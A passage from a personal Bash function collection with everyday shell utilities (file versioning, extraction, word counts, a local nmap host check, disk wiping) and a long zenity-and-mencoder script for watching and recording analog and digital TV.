			mv *avi ../${cddir}.avi
			cd ..
			for i in ${cddir}.avi ; do mv -- $i `echo $i|tr A-Z a-z` ; done
		fi
	    fi
	    fi
	    fi
	fi
	done
}

####### Copy a file prefixed with a version number to a subdirectory
function vers() { ( IFS=$'\n'; suf="_versions"; mkdir -p "$1$suf"; nr=`ls "$1$suf" | wc -l`; nr=`printf "%02d" $(($nr + 1))`; cp "$1" "$1$suf/v${nr}_$1" ) ; }

####### Edit a executable script
function vie() { vi $(which $1); }

####### Run a command, redirecting output to a file, then edit the file with vim
function vimcmd() { $1 > $2 && vim $2; }

####### Text message on wallpaper			 #
function wallpaperWarn() { BG="/desktop/gnome/background/picture_filename"; convert "`gconftool-2 -g $BG`" -pointsize 70 -draw "gravity center fill red  text 0,-360 'Warn' fill white  text 0,360 'Warn'" /tmp/w.jpg; gconftool-2 --set $BG -t string "/tmp/w.jpg" ; }

####### Crawl a webpage for links			 #
function webcrawl()
{
	lynx -dump $1 | grep -A999 "^References$" | tail -n +3 | awk '{print $2 }'
}

####### Download all files of a certain type with wget - usage: wgetall mp3 http://example.com/download/
function wgetall() { wget -r -l2 -nd -Nc -A.$@ $@ ; }

####### Telling you from where your commit come from
function where()
{
	COUNT=0; while [ `where_arg $1~$COUNT | wc -w` == 0 ]; do let COUNT=COUNT+1; done; echo "$1 is ahead of "; where_arg $1~$COUNT; echo "by $COUNT commits";};function where_arg() { git log $@ --decorate -1 | head -n1 | cut -d ' ' -f3- ;
}

####### Which PATH variable should use for this script?#
function whichpath() { local -A path; local c p; for c; do p=$(type -P "$c"); p=${p%/*}; path[${p:-/}]=1; done; local IFS=:; printf '%s\n' "${!path[*]}"; }

###### Check hosts that are online - for those who DO NOT USE their /etc/hosts file for name resolution
# This can look through resolv.conf file for address of nameservers (note: THIS WILL ONLY WORK IF YOU USE LOCAL NAMESERVERS! Nameservers
# from your ISP will render this function useless). It then cuts result to show just first 3 octets of IP address and runs nmap just as original function.
if which nmap 2>&1 > /dev/null; then
  function whodat()
  {
    if [ -n "$1" ]; then
      net="$1"
    else
      net=$(cat /etc/resolv.conf | grep 'nameserver' | cut -c12-26 | awk -F '.' '{print $1"."$2"."$3".0/24"}')
    fi
    echo "testing $net for online hosts"
    nmap -sP $net | awk '/Host/ && /up/ { print $0; }'
    echo "done"
}
fi

###### Check hosts that are online - for those who USE their /etc/hosts file for name resolution
#if which nmap 2>&1 > /dev/null; then
#  function whoisonline()
#  {
#    if [ -n "$1" ]; then
#      net="$1"
#    else
#      net=$(grep `hostname` /etc/hosts | awk -F '.' '{ print $1"."$2"."$3".0/24"}')
#    fi
#    sh_info "testing $net for online boxes"
#    sudo nmap -sP $net | awk '/Host/ && /up/ { print $0; }'
#    sh_success "done"
#  }
#fi

####### Wipe command (uses 'shred', not 'wipe', which I think is better (sudo apt-get	install wipe))
function wipe_() {
    
    cryptsetup -d /dev/urandom -c aes-xts-plain create delete $1
    shred -vzn 0 /dev/mapper/delete
    sync && sleep 4
    cryptsetup remove delete
}

####### Wordcount - counts frequency of words in a file
function wordfreq()
{
	cat "$1"|tr -d '[:punct:]'|tr '[:upper:]' '[:lower:]'|tr -s ' ' '\n'|sort|uniq -c|sort -rn
}

###### word counter
function words()
{
	# words.sh
	# counts words in selection and displays result in zenity window
	# dependencies xsel, wc, zenity
	text=$(xsel)
	words=$(wc -w <<<$text)
	zenity --info --title "Word Count" --text "Words in selection:\n${words}\n\n\"${text}\""
}

####### ISO-writer
function writeiso() {
    if [[ $CD_WRITER ]]; then
	cdrecord dev=$CD_WRITER "$1"
    else	cdrecord deV=/dev/dvdrw "$1"
    fi
}

####### Xchown something
function xchown() {
    user="$1"
    shift
    for df in "$@";
	do su -c "chown -R $user:$user \"$df\"";
    done
}

####### X delete - removes files with desired name in current directory
if [[ ${BASH_VERSINFO[0]} -ge "4" ]]; then
	function xdel() {
		
		shopt -s globstar
		[[ "$@" != "" ]] &&
		    { for argv in "$@"; do
			rm -fv ./**/*"$argv"
		    done }
	    }
fi

####### This function uses xmllint to evaluate xpaths - usage: xpath /some/xpath XMLfile
function xpath() { xmllint --format --shell "$2" <<< "cat $1" | sed '/^\/ >/d' ; }

####### Adds some text in the terminal frame
function xtitle()
{
    case "$TERM" in
        *term | rxvt)
            echo -n -e "\033]0;$*\007" ;;
        *)
            ;;
    esac
}

####### copy and go to dir
function cpg (){
  if [ -d "$2" ];then
    cp $1 $2 && cd $2
  else
    cp $1 $2
  fi
}

####### move and go to dir
function mvg (){
  if [ -d "$2" ];then
    mv $1 $2 && cd $2
  else
    mv $1 $2
  fi
}

####### Meine LAN IP + LAN Bcast Adresse
function localnet ()
{
	/sbin/ifconfig | awk /'net Adresse/ {print $2}'
	echo ""
	/sbin/ifconfig | awk /'Bcast/ {print $3}'
	echo ""
}

####### Parallel XZ with progress bar
function xzv() { THREADS=`grep processor /proc/cpuinfo | wc -l`; for file in $*; do pv -s `stat -c%s $file` < $file | pxz -q -T $THREADS > $file.xz ; done; }

####### Busted... (Yaourt)
function yaourt() {
	EDITORBACKUP="$EDITOR";
	export EDITOR=cat;
	sudo yaourt "$@";
	export EDITOR="$EDITORBACKUP";
	export EDITORBACKUP=
}

####### Overwrite a file with zeros
function zero() {
        case "$1" in
                "")     echo "Usage: zero <file>"

                        return -1;
        esac
        filesize=`wc -c  "$1" | awk '{print $1}'`
        `dd if=/dev/zero of=$1 count=$filesize bs=1`
}

####### To create a ZIP archive of a file or folder
function zipf() { zip -r "$1".zip "$1" ; }

####### extract - Enpacken
function extract () {
     if [ -f $1 ] ; then
         case $1 in
             *.tar.bz2)   tar xjf $1        ;;
             *.tar.gz)    tar xzf $1     ;;
             *.bz2)       bunzip2 $1       ;;
             *.rar)       rar x $1     ;;
             *.gz)        gunzip $1     ;;
             *.tar)       tar xf $1        ;;
             *.tbz2)      tar xjf $1      ;;
             *.tgz)       tar xzf $1       ;;
             *.zip)       unzip $1     ;;
             *.Z)         uncompress $1  ;;
             *.7z)        7z x $1    ;;
             *)           echo "'$1' cannot be extracted via extract()" ;;
         esac
     else
         echo "'$1' is not a valid file"
     fi
}

####### Extract - extract most common compression types
#function extract() {
#  local e=0 i c
#  for i; do
#    if [[ -f $i && -r $i ]]; then
#        c=''
#        case $i in
#          *.t@(gz|lz|xz|b@(2|z?(2))|a@(z|r?(.@(Z|bz?(2)|gz|lzma|xz)))))               #Fehler
#                 c='bsdtar xvf' ;;
#          *.7z)  c='7z x'       ;;
#          *.Z)   c='uncompress' ;;
#          *.bz2) c='bunzip2'    ;;
#          *.exe) c='cabextract' ;;
#          *.gz)  c='gunzip'     ;;
#          *.rar) c='unrar x'    ;;
#          *.xz)  c='unxz'       ;;
#          *.zip) c='unzip'      ;;
#          *)     echo "$0: cannot extract \`$i': Unrecognized file extension" >&2; e=1 ;;
#        esac
#        [[ $c ]] && command $c "$i"
#    else
#        echo "$0: cannot extract \`$i': File is unreadable" >&2; e=2
#    fi
#  done
#  return $e
#}

# TV/DVD/Video/Audio Copying/ripping/extracting
#------------------------------------------////

############ TV ############

###### ANALOG TV to AVI
function atv2avi()
{
	# great xvid quality is "2000" (11mb/min)
	echo -n "What analog/cable tv channel would you like to convert? (1-99)?:
	"
	read achan_type
	echo -n "Please enter how long you want to record (in this format: 02:08:17):
	"
	read time_type
	echo -n "Please enter a name for the AVI file you will convert:
	"
	read file_name
	echo -n "Please enter the quality you want your recording to be (in this format: 2000):
	"
	read qual_type
	mencoder -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel=$achan_type:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type
}
alias atvrip='atv2avi'

function atv2avi_w()
{
	# great xvid quality is "2000" (11mb/min) (watch the recording at the same time)
	echo -n "What analog/cable tv channel would you like to convert? (1-99)?:
	"
	read achan_type
	echo -n "Please enter how long you want to record (in this format: 02:08:17):
	"
	read time_type
	echo -n "Please enter a name for the AVI file you will convert:
	"
	read file_name
	echo -n "Please enter the quality you want your recording to be (in this format: 2000):
	"
	read qual_type
	mencoder -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel=$achan_type:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type & (sleep 5 && mplayer $HOME/Temp/$file_name.avi)
}
alias atvrip_w='atv2avi_w'

###### WATCH ANALOG TV
function atv()
{
	echo -n "What analog/cable tv channel would you like to watch? (1-99)?:
	"
	read ANALOGSTATION
	sh -c "mplayer -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel="$ANALOGSTATION" tv:// & sox -r 48000 -t alsa hw:1,0 -t alsa hw:0,0"
}

###### atv_
function atv_()
{
	sh -c "tvtime & sox -r 48000 -t alsa hw:1,0 -t alsa hw:0,0"
}

###### ATV
function ATV()
{
	sox -s -r 32000 -c 2 -t alsa hw:1,0 -s -r 32000 -c 2 -t alsa hw:0,0 &
	tvtime
	t=`pidof sox`;
	kill $t;
}

###### WATCH DIGITAL TV
function dtv()
{
	dtvchannels
	echo -n "What digital tv channel would you like to watch?:
	"
	read DIGITALSTATION
	mplayer dvb://"$DIGITALSTATION"
}

###### DIGITAL TV to AVI
function dtv2avi()
{
	# great xvid quality is "1600" (13mb/min)
	dtvchannels
	echo -n "What digital tv channel would you like to convert?:
	"
	read dchan_type
	echo -n "Please enter how long you want to record (in this format: 02:08:17):
	"
	read time_type
	echo -n "Please enter a name for the AVI file you will convert:
	"
	read file_name
	echo -n "Please enter the quality you want your recording to be (in this format: 1600):
	"
	read qual_type
	mencoder dvb://$dchan_type -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip,scale -zoom -xy 624 -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type
}
alias dtvrip='dtv2avi'

###### dtv2avi_w
function dtv2avi_w()
{
	# great xvid quality is "1600" (13mb/min) (watch the recording at the same time)
	dtvchannels
	echo -n "What digital tv channel would you like to convert?:
	"
	read dchan_type
	echo -n "Please enter how long you want to record (in this format: 02:08:17):
	"
	read time_type
	echo -n "Please enter a name for the AVI file you will convert:
	"
	read file_name
	echo -n "Please enter the quality you want your recording to be (in this format: 1600):
	"
	read qual_type
	mencoder dvb://$dchan_type -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip,scale -zoom -xy 624 -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type & (sleep 5 && mplayer $HOME/Temp/$file_name.avi)
}
alias dtvrip_w='dtv2avi_w'

###### DTV2AVI
function DTV2AVI()
{
	# best quality; big file size (100mb/min), but needs strong signal
	dtvchannels
	echo -n "What digital tv channel would you like to convert?:
	"
	read dchan_type
	echo -n "Please enter how long you want to record (in this format: 02:08:17):
	"
	read time_type
	echo -n "Please enter a name for the AVI file you will convert:
	"
	read file_name
	mencoder dvb://$dchan_type -ovc copy -oac copy -o $HOME/Temp/$file_name.mpg -endpos $time_type
}
alias DTVRIP='DTV2AVI'

###### DIGITAL TV to YouTube-compliant AVI
function dtv2yt()
{
	# ok quality (YouTube) (5mb/min)
	dtvchannels
	echo -n "What digital tv channel would you like to convert?:
	"
	read DIGITALSTATION
	echo -n "Please enter a name for the AVI file you will convert:
	"
	read AVINAME
	echo -n "Please enter how long you want to record (in this format: 02:08:17):
	"
	read ENDPOSITION
	mencoder dvb://"$DIGITALSTATION" -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:-2,expand=:240:::1 -o "$AVINAME".avi -endpos "$ENDPOSITION"
}

####### list of all of the local digital tv channels
#function dtvchannels() {
#cat <<EOF
#<INSERT YOUR LOCAL DIGITAL TV STATIONS HERE>
#EOF
#}

###### TV (recording and watching (includes those tv functions above)
function tv()
{
	# Creator:		Inameiname
	# Original Creator:	Jose Catre-Vandis
	# Version: 1.0
	# Last modified: 24 September 2011
	# Requirements: mencoder & zenity
	# sudo apt-get install mencoder zenity
	#
	# THINGS YOU WILL NEED TO DO:
	# 1. A working dvb card and/or analog tv card
	# 2. If dvb, a ~/.mplayer/channels.conf
	# - can scan dvb channels and create this by:
	#	- sudo scan /usr/share/dvb/atsc/us-ATSC-
	#	- center-frequencies-8VSB > ~/.mplayer/
	#	- channels.conf
	# 3. If analog, a channel list, and tuned in!
	# - (all channels must have no spaces!)
	# - can scan analog channels and tune in by:
	# 	- tvtime-scanner
	# 4. Determine where your tv card is located, and
	# change if need be (script set on 'video1')
	# - tvtime-configure -d /dev/video0 # if tvtime
	# - otherwise, change 'video1' to 'video0' below
	######################## SOFTWARE CHECK
	############ Check for required software...
	mencoder_bin=`which mencoder | grep -c "mencoder"`
	###### check for mencoder (also requires 'zenity')
	if [ $mencoder_bin -eq "0" ]; then
		zenity --error --title="Error - Missing Software" \
		 --text="You do not have the mencoder package installed
		Please install it in order to use this script.
		Make sure that the Multiverse repositories are enabled and
		then type: 'sudo apt-get install mencoder' at a terminal."
		exit
	fi
	######################## CHOOSE TV TYPE
	############ What type of TV TYPE do you want?
	###### you can edit these entries to suit
	title="Which TV type do you want ?"
	tv_type=`zenity  --width="480" --height="300" --title="$title" --list --radiolist --column="Click Here" \
	    --column="Channel" --column="Description" \
	    FALSE "DVB_RECORD" "Records dvb tv"\
	    FALSE "ANALOG_RECORD" "Records analog tv"\
	    FALSE "DVB_TV" "Watch dvb tv through mplayer"\
	    TRUE "ANALOG_TV" "Watch analog tv through mplayer"\
	    FALSE "ANALOG_TV1" "Watch analog tv through tvtime 1"\
	    FALSE "ANALOG_TV2" "Watch analog tv through tvtime 2"\
	    | sed 's/ max//g' `
	echo "$tv_type chosen as the channel to record."
	###### user must select a target type (Check if they cancelled)
	if [ ! "$tv_type" ]; then
	    zenity --error --title="Error" --text="You must select a TV type!"
	    exit
	fi
	######################## TV TYPES
	if [ "$tv_type" = "DVB_RECORD" ]; then
	    ############ RECORD DVB TV
	    ###### Which DVB TV Channel? ######
	    ###### YOU NEED TO EDIT THIS SECTION FOR YOUR ENVIRONMENT
	    # just change the channel names to reflect your channels.conf file
	    # ensure there are no spaces in channel names here or in your channels.conf file
	    # can scan dvb channels and create this by:
	    # sudo scan /usr/share/dvb/atsc/us-ATSC-center-frequencies-8VSB > ~/.mplayer/channels.conf
	    title="Which DVB-T Channel do you want to record ?"
	    dchan_type=`zenity  --width="380" --height="500" --title="$title" --list --radiolist --column="Click Here" \
		--column="Channel" --column="Description" \
		TRUE "ABC" "" \
		FALSE "MYTV" "" \
		FALSE "NBC" "" \
		FALSE "CBS" "" \
		FALSE "CBS2" "" \
		FALSE "FOX" "" \
		FALSE "WOSU-HD" "" \
		FALSE "WOSU-D1" "" \
		FALSE "WOSU-D2" "" \
		FALSE "ADD" "" \
		FALSE "YOUR" "" \
		FALSE "OWN" "" \
		FALSE "CHANNELS" "" \
		FALSE "HERE" "" \
		FALSE "Custom" "Input your own channel: 'NBC'"\
		| sed 's/ max//g' `
	    echo "$dchan_type chosen as the channel to record."
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$dchan_type" ]; then
		zenity --error --title="Error" --text="You must select a Channel!"
		exit
	    fi
	    ###### How Long Do You Want To Record? ######
	    ###### how long?
	    title="How long do you want to record for ?"
	    time_type=`zenity  --width="380" --height="500" --title="$title" --list --radiolist --column="Click Here" \
		--column="Record Time" --column="Description" \
		TRUE "00:00:20" "20 seconds for testing" \
		FALSE "00:01:00" "1 minute" \
		FALSE "00:05:00" "5 minutes" \
		FALSE "00:10:00" "10 minutes" \
		FALSE "00:15:00" "15 minutes" \
		FALSE "00:30:00" "30 minutes" \
		FALSE "00:45:00" "45 minutes" \
		FALSE "01:00:00" "1 hour" \
		FALSE "01:15:00" "1:15 minutes" \
		FALSE "01:30:00" "1:30 minutes" \
		FALSE "01:45:00" "1:45 minutes" \
		FALSE "02:00:00" "2 hours" \
		FALSE "02:15:00" "2:15 minutes" \
		FALSE "02:30:00" "2:30 minutes" \
		FALSE "02:45:00" "2:45 minutes" \
		FALSE "03:00:00" "3 hours" \
		FALSE "03:15:00" "3:15 minutes" \
		FALSE "03:30:00" "3:30 minutes" \
		FALSE "03:45:00" "3:45 minutes" \
		FALSE "04:00:00" "4 hours" \
		FALSE "04:15:00" "4:15 minutes" \
		FALSE "04:30:00" "4:30 minutes" \
		FALSE "04:45:00" "4:45 minutes" \
		FALSE "05:00:00" "5 hours" \
		FALSE "05:15:00" "5:15 minutes" \
		FALSE "05:30:00" "5:30 minutes" \
		FALSE "05:45:00" "5:45 minutes" \
		FALSE "06:00:00" "6 hours" \
		FALSE "06:15:00" "6:15 minutes" \
		FALSE "06:30:00" "6:30 minutes" \
		FALSE "06:45:00" "6:45 minutes" \
		FALSE "07:00:00" "7 hours" \
		FALSE "07:15:00" "7:15 minutes" \
		FALSE "07:30:00" "7:30 minutes" \
		FALSE "07:45:00" "7:45 minutes" \
		FALSE "08:00:00" "8 hours" \
		FALSE "08:15:00" "8:15 minutes" \
		FALSE "08:30:00" "8:30 minutes" \
		FALSE "08:45:00" "8:45 minutes" \
		FALSE "09:00:00" "9 hours" \
		FALSE "09:15:00" "9:15 minutes" \
		FALSE "09:30:00" "9:30 minutes" \
		FALSE "09:45:00" "9:45 minutes" \
		FALSE "10:00:00" "10 hours" \
		FALSE "10:15:00" "10:15 minutes" \
		FALSE "10:30:00" "10:30 minutes" \
		FALSE "10:45:00" "10:45 minutes" \
		FALSE "11:00:00" "11 hours" \
		FALSE "11:15:00" "11:15 minutes" \
		FALSE "11:30:00" "11:30 minutes" \
		FALSE "11:45:00" "11:45 minutes" \
		FALSE "12:00:00" "12 hours" \
		FALSE "12:15:00" "12:15 minutes" \
		FALSE "12:30:00" "12:30 minutes" \
		FALSE "12:45:00" "12:45 minutes" \
		FALSE "13:00:00" "13 hours" \
		FALSE "13:15:00" "13:15 minutes" \
		FALSE "13:30:00" "13:30 minutes" \
		FALSE "13:45:00" "13:45 minutes" \
		FALSE "14:00:00" "14 hours" \
		FALSE "14:15:00" "14:15 minutes" \
		FALSE "14:30:00" "14:30 minutes" \
		FALSE "14:45:00" "14:45 minutes" \
		FALSE "15:00:00" "15 hours" \
		FALSE "15:15:00" "15:15 minutes" \
		FALSE "15:30:00" "15:30 minutes" \
		FALSE "15:45:00" "15:45 minutes" \
		FALSE "16:00:00" "16 hours" \
		FALSE "16:15:00" "16:15 minutes" \
		FALSE "16:30:00" "16:30 minutes" \
		FALSE "16:45:00" "16:45 minutes" \
		FALSE "17:00:00" "17 hours" \
		FALSE "17:15:00" "17:15 minutes" \
		FALSE "17:30:00" "17:30 minutes" \
		FALSE "17:45:00" "17:45 minutes" \
		FALSE "18:00:00" "18 hours" \
		FALSE "18:15:00" "18:15 minutes" \
		FALSE "18:30:00" "18:30 minutes" \
		FALSE "18:45:00" "18:45 minutes" \
		FALSE "19:00:00" "19 hours" \
		FALSE "19:15:00" "19:15 minutes" \
		FALSE "19:30:00" "19:30 minutes" \
		FALSE "19:45:00" "19:45 minutes" \
		FALSE "20:00:00" "20 hours" \
		FALSE "20:15:00" "20:15 minutes" \
		FALSE "20:30:00" "20:30 minutes" \
		FALSE "20:45:00" "20:45 minutes" \
		FALSE "21:00:00" "21 hours" \
		FALSE "21:15:00" "21:15 minutes" \
		FALSE "21:30:00" "21:30 minutes" \
		FALSE "21:45:00" "21:45 minutes" \
		FALSE "22:00:00" "22 hours" \
		FALSE "22:15:00" "22:15 minutes" \
		FALSE "22:30:00" "22:30 minutes" \
		FALSE "22:45:00" "22:45 minutes" \
		FALSE "23:00:00" "23 hours" \
		FALSE "23:15:00" "23:15 minutes" \
		FALSE "23:30:00" "23:30 minutes" \
		FALSE "23:45:00" "23:45 minutes" \
		FALSE "24:00:00" "24 hours" \
		| sed 's/ max//g' `
	    echo "$time_type chosen as the record time."
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$time_type" ]; then
		zenity --error --title="Error" --text="You must select a Time!"
		exit
	    fi
	    ###### Choose a Filename? ######
	    ###### user must enter a filename
	    title="Please enter a filename for your recording, no spaces"
	    file_name=`zenity  --width="480" --height="150" --title="$title" --entry`
	    echo "$file_name entered as the file name."
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$file_name" ]; then
		zenity --error --title="Error" --text="You must enter a Filename!"
		exit
	    fi
	    ###### Select the Quality of Your Recording? ######
	    ###### quality?
	    title="What quality do you want to record at ?"
	    qual_type=`zenity  --width="380" --height="380" --title="$title" --list --radiolist --column="Click Here" \
		--column="Record Quality" --column="Description" \
		FALSE "500" "Passable Quality"\
		FALSE "900" "OK Quality"\
		FALSE "1100" "VHS Quality"\
		FALSE "1300" "SVHS Quality"\
		FALSE "1500" "VCD Quality"\
		TRUE "1600" "MY Quality"\
		FALSE "1800" "SVCD Quality" \
		FALSE "2000" "Very Good Quality"\
		FALSE "2500" "High Quality" \
		FALSE "3000" "Excellent Quality"\
		FALSE "MPEG-TS" "Raw dvb in ts format"\
		| sed 's/ max//g' `
	    echo "$qual_type chosen as the encoding quality."
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$qual_type" ]; then
		zenity --error --title="Error" --text="You must select an encoding quality!"
		exit
	    fi
	    ###### Start Time, Now or a Set Time Later? ######
	    ###### date-time timer
	    # enter required time:
	    title="Please enter a start time..."
	    starttime=`zenity  --width="480" --height="150" --title="$title" --entry --entry-text="now" --text="Enter Start Time in 00:00 format
	    or click 'OK' for immediate start"`
	    echo "$starttime entered as the start time."
	    curtime=$(date --utc --date now +%s)
	    echo "$curtime entered as the current time."
	    righttime=$(date --utc --date $starttime +%s)
	    echo "$righttime entered as the start time."
	    # this bit copes with the starting time for the encode
	    # beginning after midnight the following day
	    if (($righttime<$curtime)); then
		    newtime=$(($righttime+86400))
	    else
		    newtime=$righttime
	    fi
	    waittime=$(($newtime - $curtime))
	    echo "$waittime entered as time to wait before encoding starts"
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$newtime" ]; then
		zenity --error --title="Error" --text="You must enter a Start Time!"
		exit
	    fi
	    echo Channel= $dchan_type
	    echo Filename= $file_name
	    echo Encode length= $time_type
	    echo Quality of encode= $qual_type
	    sleep $waittime
	    ###### The Actual DVB Video Encoding? ######
	    ###### video encoding DVB
	    # YOU NEED TO EDIT THIS SECTION FOR YOUR ENVIRONMENT
	    if [ "$qual_type" = "MPEG-TS" ]; then
		mencoder dvb://$dchan_type -ovc copy -oac copy -o $HOME/Temp/$file_name.mpg -endpos $time_type | zenity --progress --percentage=0 --title="DVB Recording Script" --text="Processing Video...
		$file_name"
	    elif [ "$dchan_type" = "Custom" ]; then
		# custom channel
		custom_dchannel="Please enter custom digital channel, no spaces"
		dchan_type_custom=`zenity  --width="480" --height="150" --title="$custom_dchannel" --entry`
		echo "$dchan_type_custom entered as the dvb channel."
		mencoder dvb://$dchan_type_custom -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip,scale -zoom -xy 624 -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="DVB Recording Script" --text="Processing Video...
		$file_name"
	    else
		mencoder dvb://$dchan_type -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip,scale -zoom -xy 624 -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="DVB Recording Script" --text="Processing Video...
		$file_name"
	    fi
	elif [ "$tv_type" = "ANALOG_RECORD" ]; then
	    ############ RECORD ANALOG TV
	    ###### Which Analog TV Channel? ######
	    ###### YOU NEED TO EDIT THIS SECTION FOR YOUR ENVIRONMENT
	    # just change the channel names to reflect your analog channels list
	    # you need to keep the "31-BBC1" style and format, if applicable.
	    # this is "channelnumber-channelname"
	    # can scan analog channels and tune in by (at least with tvtime):
	    # tvtime-scanner
	    title="Which Analog Channel do you want to record ?"
	    achan_type=`zenity  --width="380" --height="500" --title="$title" --list --radiolist --column="Click Here" \
		--column="Channel" --column="Description" \
		TRUE "Composite" "Records from Composite Input" \
		FALSE "SVIDEO" "Records from S-Video Input" \
		FALSE "1" ""\
		FALSE "2" ""\
		FALSE "3" ""\
		FALSE "4" ""\
		FALSE "5" ""\
		FALSE "6" ""\
		FALSE "7" ""\
		FALSE "8" ""\
		FALSE "9" ""\
		FALSE "10" ""\
		FALSE "11" ""\
		FALSE "12" ""\
		FALSE "13" ""\
		FALSE "14" ""\
		FALSE "15" ""\
		FALSE "16" ""\
		FALSE "17" ""\
		FALSE "18" ""\
		FALSE "19" ""\
		FALSE "20" ""\
		FALSE "21" ""\
		FALSE "22" ""\
		FALSE "23" ""\
		FALSE "24" ""\
		FALSE "25" ""\
		FALSE "26" ""\
		FALSE "27" ""\
		FALSE "28" ""\
		FALSE "29" ""\
		FALSE "30" ""\
		FALSE "31" ""\
		FALSE "32" ""\
		FALSE "33" ""\
		FALSE "34" ""\
		FALSE "35" ""\
		FALSE "36" ""\
		FALSE "37" ""\
		FALSE "38" ""\
		FALSE "39" ""\
		FALSE "40" ""\
		FALSE "41" ""\
		FALSE "42" ""\
		FALSE "43" ""\
		FALSE "44" ""\
		FALSE "45" ""\
		FALSE "46" ""\
		FALSE "47" ""\
		FALSE "48" ""\
		FALSE "49" ""\
		FALSE "50" ""\
		FALSE "51" ""\
		FALSE "52" ""\
		FALSE "53" ""\
		FALSE "54" ""\
		FALSE "55" ""\
		FALSE "56" ""\
		FALSE "57" ""\
		FALSE "58" ""\
		FALSE "59" ""\
		FALSE "60" ""\
		FALSE "61" ""\
		FALSE "62" ""\
		FALSE "63" ""\
		FALSE "64" ""\
		FALSE "65" ""\
		FALSE "66" ""\
		FALSE "67" ""\
		FALSE "68" ""\
		FALSE "69" ""\
		FALSE "70" ""\
		FALSE "71" ""\
		FALSE "72" ""\
		FALSE "73" ""\
		FALSE "74" ""\
		FALSE "75" ""\
		FALSE "76" ""\
		FALSE "77" ""\
		FALSE "78" ""\
		FALSE "79" ""\
		FALSE "80" ""\
		FALSE "81" ""\
		FALSE "82" ""\
		FALSE "83" ""\
		FALSE "84" ""\
		FALSE "85" ""\
		FALSE "86" ""\
		FALSE "87" ""\
		FALSE "88" ""\
		FALSE "89" ""\
		FALSE "90" ""\
		FALSE "91" ""\
		FALSE "92" ""\
		FALSE "93" ""\
		FALSE "94" ""\
		FALSE "95" ""\
		FALSE "96" ""\
		FALSE "97" ""\
		FALSE "98" ""\
		FALSE "99" ""\
		FALSE "100" ""\
		FALSE "101" ""\
		FALSE "102" ""\
		FALSE "103" ""\
		FALSE "104" ""\
		FALSE "105" ""\
		FALSE "106" ""\
		FALSE "107" ""\
		FALSE "108" ""\
		FALSE "109" ""\
		FALSE "110" ""\
		FALSE "111" ""\
		FALSE "112" ""\
		FALSE "113" ""\
		FALSE "114" ""\
		FALSE "115" ""\
		FALSE "116" ""\
		FALSE "117" ""\
		FALSE "118" ""\
		FALSE "119" ""\
		FALSE "120" ""\
		FALSE "121" ""\
		FALSE "122" ""\
		FALSE "123" ""\
		FALSE "124" ""\
		FALSE "125" ""\
		FALSE "Custom" "Input your own channel: '234'"\
		| sed 's/ max//g' `
	    echo "$achan_type chosen as the channel to record."
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$achan_type" ]; then
		zenity --error --title="Error" --text="You must select a Channel!"
		exit
	    fi
	    ###### How Long Do You Want To Record? ######
	    ###### how long?
	    title="How long do you want to record for ?"
	    time_type=`zenity  --width="380" --height="500" --title="$title" --list --radiolist --column="Click Here" \
		--column="Record Time" --column="Description" \
		TRUE "00:00:20" "20 seconds for testing" \
		FALSE "00:01:00" "1 minute" \
		FALSE "00:05:00" "5 minutes" \
		FALSE "00:10:00" "10 minutes" \
		FALSE "00:15:00" "15 minutes" \
		FALSE "00:30:00" "30 minutes" \
		FALSE "00:45:00" "45 minutes" \
		FALSE "01:00:00" "1 hour" \
		FALSE "01:15:00" "1:15 minutes" \
		FALSE "01:30:00" "1:30 minutes" \
		FALSE "01:45:00" "1:45 minutes" \
		FALSE "02:00:00" "2 hours" \
		FALSE "02:15:00" "2:15 minutes" \
		FALSE "02:30:00" "2:30 minutes" \
		FALSE "02:45:00" "2:45 minutes" \
		FALSE "03:00:00" "3 hours" \
		FALSE "03:15:00" "3:15 minutes" \
		FALSE "03:30:00" "3:30 minutes" \
		FALSE "03:45:00" "3:45 minutes" \
		FALSE "04:00:00" "4 hours" \
		FALSE "04:15:00" "4:15 minutes" \
		FALSE "04:30:00" "4:30 minutes" \
		FALSE "04:45:00" "4:45 minutes" \
		FALSE "05:00:00" "5 hours" \
		FALSE "05:15:00" "5:15 minutes" \
		FALSE "05:30:00" "5:30 minutes" \
		FALSE "05:45:00" "5:45 minutes" \
		FALSE "06:00:00" "6 hours" \
		FALSE "06:15:00" "6:15 minutes" \
